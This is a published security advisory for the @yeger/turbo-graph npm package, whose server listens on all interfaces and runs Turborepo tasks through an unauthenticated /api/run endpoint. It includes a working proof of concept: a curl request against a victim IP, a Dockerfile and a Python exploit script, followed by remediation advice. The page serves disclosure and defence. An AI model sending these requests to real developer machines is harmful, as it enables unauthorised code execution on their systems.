GHSA-2r5q-h53f-9rp3: CSRF

Published Sep 9, 2026
·
Updated

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

Summary

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1 — Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

ts // packages/turbo-graph/src/index.ts 19 const hostname = 'localhost' // used only for console URL, not for listen() ... 44 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind 45 const url = http://${hostname}:${options.port}

Flaw 2 — Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

ts // packages/turbo-graph-ui/app/api/run/route.ts 156 export function GET(req: NextRequest) { 157 const url = new URL(req.url) 159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source 171 const filter = url.searchParams.get('filter') ?? undefined 176 return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts 20 const args: string[] = ['run', ...tasks] // tasks inserted directly 25 args.push(--filter=${trimmed}) 31 args.push('--force') 34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } }) // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

bash mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON' { "private": true, "scripts": { "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\"" }, "devDependencies": { "@yeger/turbo-graph": "2.8.8", "turbo": "^2.0.0" } } JSON

cat > turbo.json <<'JSON' { "tasks": { "pwn": { "cache": false } } } JSON

npm install npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

bash ss -tlnp 'sport = :29312' Expected: LISTEN 0 511 :29312 (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

bash Replace <victim-ip> with the victim machine's LAN IP address. curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

- The server returns HTTP 200 with a text/event-stream response. - An SSE start event is received with args: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted. - The file /tmp/turbo-graph-poc is created on the victim machine with content owned, proving arbitrary task execution.

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

bash docker build -t vuln-001-poc <vuln-001-dir> docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing: 1. ss -tlnp sport=:29312 → LISTEN 0 511 :29312 (all-interface binding confirmed) 2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required) 3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.

Depending on the tasks configured in the victim's turbo.json, the impact includes:

- Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data. - Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure. - Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.

The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.

Reproduction artifacts

Dockerfile

dockerfile VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8) Layout: /victim/ - simulated developer workspace that runs turbo-graph /victim/pwn.js - the task payload executed when the attacker fires /api/run /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn Build: docker build -t vuln-001-poc <vuln-001-dir> Run: docker run --rm vuln-001-poc

FROM node:20-slim

System tools: python3 - runs poc.py iproute2 - ss(8) for socket-binding introspection (evidence collection) RUN apt-get update && \ apt-get install -y --no-install-recommends python3 iproute2 && \ rm -rf /var/lib/apt/lists/

--------------------------------------------------------------------------- Victim workspace: a minimal Turborepo project that a developer might run --------------------------------------------------------------------------- WORKDIR /victim

package.json: defines the 'pwn' task script and package dependencies. @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger). turbo satisfies the peerDependency and provides nodemodules/.bin/turbo. RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \ > /victim/package.json

turbo.json: declares the 'pwn' task with caching disabled so it always runs. RUN echo '{"tasks":{"pwn":{"cache":false}}}' \ > /victim/turbo.json

pwn.js: task payload — writes a timestamped proof file and logs to stdout. When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script. RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASKEXECUTED:" + ts);' \ > /victim/pwn.js

Install packages from the declarations in package.json. --legacy-peer-deps avoids strict peer-dep resolution failures. The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built .next/ directory, so no separate 'next build' step is required. RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5

--------------------------------------------------------------------------- Attacker PoC script --------------------------------------------------------------------------- COPY poc.py /poc.py

Default: execute the PoC (start server, fire unauthenticated request, verify) CMD ["python3", "/poc.py"]

poc.py

python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution Package: @yeger/turbo-graph@2.8.8 CWE: CWE-306 (Missing Authentication for Critical Function) CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability: 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces). 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler has zero authentication; attacker-supplied ?tasks= values are passed directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here: - Victim runs turbo-graph from a project with a side-effecting task. - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn. - The server executes turbo run pwn in the victim's project directory. - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution. """

import os import socket import subprocess import sys import time import urllib.error import urllib.request

--------------------------------------------------------------------------- Configuration --------------------------------------------------------------------------- PROOFFILE = "/tmp/poc-proof.txt" PORT = 29312 VICTIMDIR = "/victim" TURBOGRAPHBIN = os.path.join(VICTIMDIR, "nodemodules", ".bin", "turbo-graph") SERVERSTARTUPTIMEOUT = 120 # seconds; Next.js production startup can be slow REQUESTTIMEOUT = 90 # seconds to wait for the SSE stream to finish

--------------------------------------------------------------------------- Helpers ---------------------------------------------------------------------------

def waitforport(host: str, port: int, timeout: int) -> bool: """Poll until the TCP port accepts connections or timeout expires.""" deadline = time.time() + timeout while time.time() < deadline: try: with socket.createconnection((host, port), timeout=2): return True except (ConnectionRefusedError, OSError): time.sleep(1) return False

def getsocketbinding(port: int) -> str: """Return the raw 'ss' output for the listening socket on port.""" try: result = subprocess.run( ["ss", "-tlnp", f"sport = :{port}"], captureoutput=True, text=True, timeout=5, ) return result.stdout.strip() except Exception as exc: return f"(ss unavailable: {exc})"

def bindingisallinterfaces(ssoutput: str) -> bool: """Return True when the socket is listening on all interfaces.""" return any( marker in ssoutput for marker in ("0.0.0.0", ":", "[::]", ":::") )

def readssestream(url: str, timeout: int) -> list: """ Open url as a Server-Sent Events stream and return parsed events. Each event is a dict with keys 'type' and optionally 'data'. Stops when an 'end' event is received or timeout seconds elapse. """ events = [] try: req = urllib.request.Request( url, headers={ "Accept": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive", }, ) with urllib.request.urlopen(req, timeout=timeout) as resp: print(f" [HTTP] {resp.status} {resp.reason}") print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}") buf = "" deadline = time.time() + timeout while time.time() < deadline: chunk = resp.read(4096) if not chunk: break buf += chunk.decode("utf-8", errors="replace") # Parse complete SSE blocks (separated by blank lines) while "\n\n" in buf: block, buf = buf.split("\n\n", 1) ev: dict = {} for line in block.strip().split("\n"): if line.startswith("event: "): ev["type"] = line[7:] elif line.startswith("data: "): ev["data"] = line[6:] # ignore SSE comments (':') and 'retry:' lines if ev.get("type"): events.append(ev) preview = ev.get("data", "")[:120] print(f" [SSE] event={ev['type']} data={preview}") if ev["type"] == "end": return events except urllib.error.HTTPError as exc: print(f" [!] HTTP error: {exc.code} {exc.reason}") except Exception as exc: print(f" [!] Stream error: {type(exc).name}: {exc}") return events

--------------------------------------------------------------------------- Main PoC ---------------------------------------------------------------------------

def main() -> int: sep = "=" 64 print(sep) print("VULN-001 PoC — Unauthenticated Turborepo Task Execution") print("Package : @yeger/turbo-graph@2.8.8") print("CWE-306 : Missing Authentication for Critical Function") print(sep) print()

# Remove stale proof file from a previous run if os.path.exists(PROOFFILE): os.remove(PROOFFILE)

# ------------------------------------------------------------------ # Step 1: Start turbo-graph server from the victim project directory # The CLI does NOT pass a hostname to .listen(), so Node.js binds to # 0.0.0.0 (all interfaces) — see index.ts:44. # ------------------------------------------------------------------ print(f"[1] Starting turbo-graph from {VICTIMDIR} on port {PORT} ...") server = subprocess.Popen( [TURBOGRAPHBIN, "--port", str(PORT)], cwd=VICTIMDIR, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, )

# ------------------------------------------------------------------ # Step 2: Wait for the port to become available # ------------------------------------------------------------------ print(f"[2] Waiting up to {SERVERSTARTUPTIMEOUT}s for Next.js server startup ...") ready = waitforport("127.0.0.1", PORT, timeout=SERVERSTARTUPTIMEOUT) if not ready: server.kill() stdout, = server.communicate() print(f"[!] Server did not become ready within {SERVERSTARTUPTIMEOUT}s.") print(f" stdout/stderr:\n{stdout[:2000]}") return 1 print(f"[+] Server is accepting connections on port {PORT}.")

# ------------------------------------------------------------------ # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces) # Flaw 1: .listen(port) without hostname → network-exposed. # ------------------------------------------------------------------ ssoutput = getsocketbinding(PORT) print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):") print(f" {ssoutput}") if bindingisallinterfaces(ssoutput): print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.") else: print(f"[?] Could not confirm all-interface binding; proceeding with request test.")

# ------------------------------------------------------------------ # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request # Flaw 2: no authentication, authorisation, CSRF check, or task # allowlist — see route.ts:156-177. # ------------------------------------------------------------------ url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true" print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):") print(f" GET {url}") sseevents = readssestream(url, timeout=REQUESTTIMEOUT)

# Allow a moment for any buffered I/O in the child process to flush time.sleep(3)

# ------------------------------------------------------------------ # Step 5: Evaluate exploitation results # ------------------------------------------------------------------ exploited = os.path.exists(PROOFFILE) proofcontent = open(PROOFFILE).read().strip() if exploited else ""

startevent = next((e for e in sseevents if e.get("type") == "start"), None) endevent = next((e for e in sseevents if e.get("type") == "end"), None) logevents = [e for e in sseevents if e.get("type") in ("log", "stderr")]

print() print(sep) print("EVIDENCE SUMMARY") print(sep)

# Evidence A: socket binding if bindingisallinterfaces(ssoutput): print(f"[A] FLAW-1 — Socket bound to all interfaces: {ssoutput.split(chr(10))[0][:80]}") else: print(f"[A] FLAW-1 — ss output: {ssoutput[:80]}")

# Evidence B: unauthenticated SSE response if startevent: print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:") print(f" {startevent.get('data', '')}") else: received = [e.get("type") for e in sseevents] print(f"[B] FLAW-2 — SSE events received: {received}")

# Evidence C: turbo task exit code if endevent: print(f"[C] TURBO — turbo run exit code: {endevent.get('data', '')}")

# Evidence D: proof file (arbitrary code execution) if exploited: print(f"[D] EXPLOIT — Proof file created: {PROOFFILE}") print(f" Content: {proofcontent}") else: print(f"[D] EXPLOIT — Proof file NOT created: {PROOFFILE}") if logevents: print(f" Task stdout/stderr (first 5 lines):") for ev in logevents[:5]: print(f" [{ev['type']}] {ev.get('data', '')}")

print(sep)

# Clean up server.kill() server.wait(timeout=10)

if exploited: print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.") return 0 else: print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.") return 1

if name == "main": sys.exit(main())

Affected Software

1 affected componentFixes available
npm/@yeger/turbo-graph<=2.8.8
2.8.12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@yeger/turbo-graph to a version that resolves this vulnerability.

    Fixed in 2.8.12
  2. Upgrade

    Upgrade @yeger/turbo-graph to a version that resolves this vulnerability.

    Fixed in 2.8.8
  3. Configuration

    In packages/turbo-graph/src/index.ts, change the server start call from `.listen(options.port, ...)` to include a hostname (only loopback). The material notes `.listen(options.port, callback)` is called without a hostname argument at line 44, causing Node.js to bind to all interfaces (0.0.0.0 / ::).

    Node.js/Next.js server (turbo-graph) .listen(options.port, ...) = Pass a hostname so it binds to loopback (do not default to 0.0.0.0)
  4. Configuration

    In packages/turbo-graph-ui/app/api/run/route.ts (GET handler lines 156-177), do not accept unauthenticated attacker-controlled `tasks` query parameters. The material states the handler has no authentication, authorization, CSRF protection, or task allowlist check before executing `spawn(turboBin, args, { cwd: dir })`. Add authentication/authorization and a task allowlist/CSRF check so `tasks` cannot be used to select arbitrary Turbo tasks.

    turbo-graph-ui API GET /api/run task execution authorization = Require authentication/authorization and enforce a task allowlist before calling spawn()
  5. Compensating control

    Restrict network access to the turbo-graph port 29312 so that only trusted developers can reach it (the PoC targets `http://<victim-ip>:29312/api/run?tasks=pwn&force=true` and confirms `ss -tlnp 'sport = :29312'` shows LISTEN on `*:29312`).

  6. Operational

    After remediation, remove any proof/artifacts created during exploitation (the PoC checks and removes `PROOF_FILE` at `/tmp/turbo-graph-poc` and `/tmp/poc-proof.txt`, and `/tmp/poc-proof.txt` content `PWNED:<timestamp>` indicates task execution).

Event History

Sep 9, 2026
Advisory Published
via GitHub·11:47 PM
Data Sourced
via GitHub·11:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

An attacker on an adjacent network can exploit it without credentials or user interaction when the embedded server is reachable. The attack runs tasks with the privileges of the developer's operating-system user.

2

Is a default deployment exposed?

Yes. The embedded Next.js server listens on all network interfaces, with port 29312 stated as the default, rather than being restricted to loopback.

3

What must an attacker send to trigger execution?

They can send an unauthenticated HTTP GET request to the /api/run endpoint with an attacker-supplied Turborepo task name. No authentication, authorization, CSRF protection, or task allowlist is applied before task execution.

4

How can I check whether a running instance is exposed?

Check whether turbo-graph's embedded server is listening on a non-loopback interface, particularly 0.0.0.0:29312 by default, and whether /api/run is reachable from another host on the network. If so, requests to that endpoint can invoke repository-defined tasks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203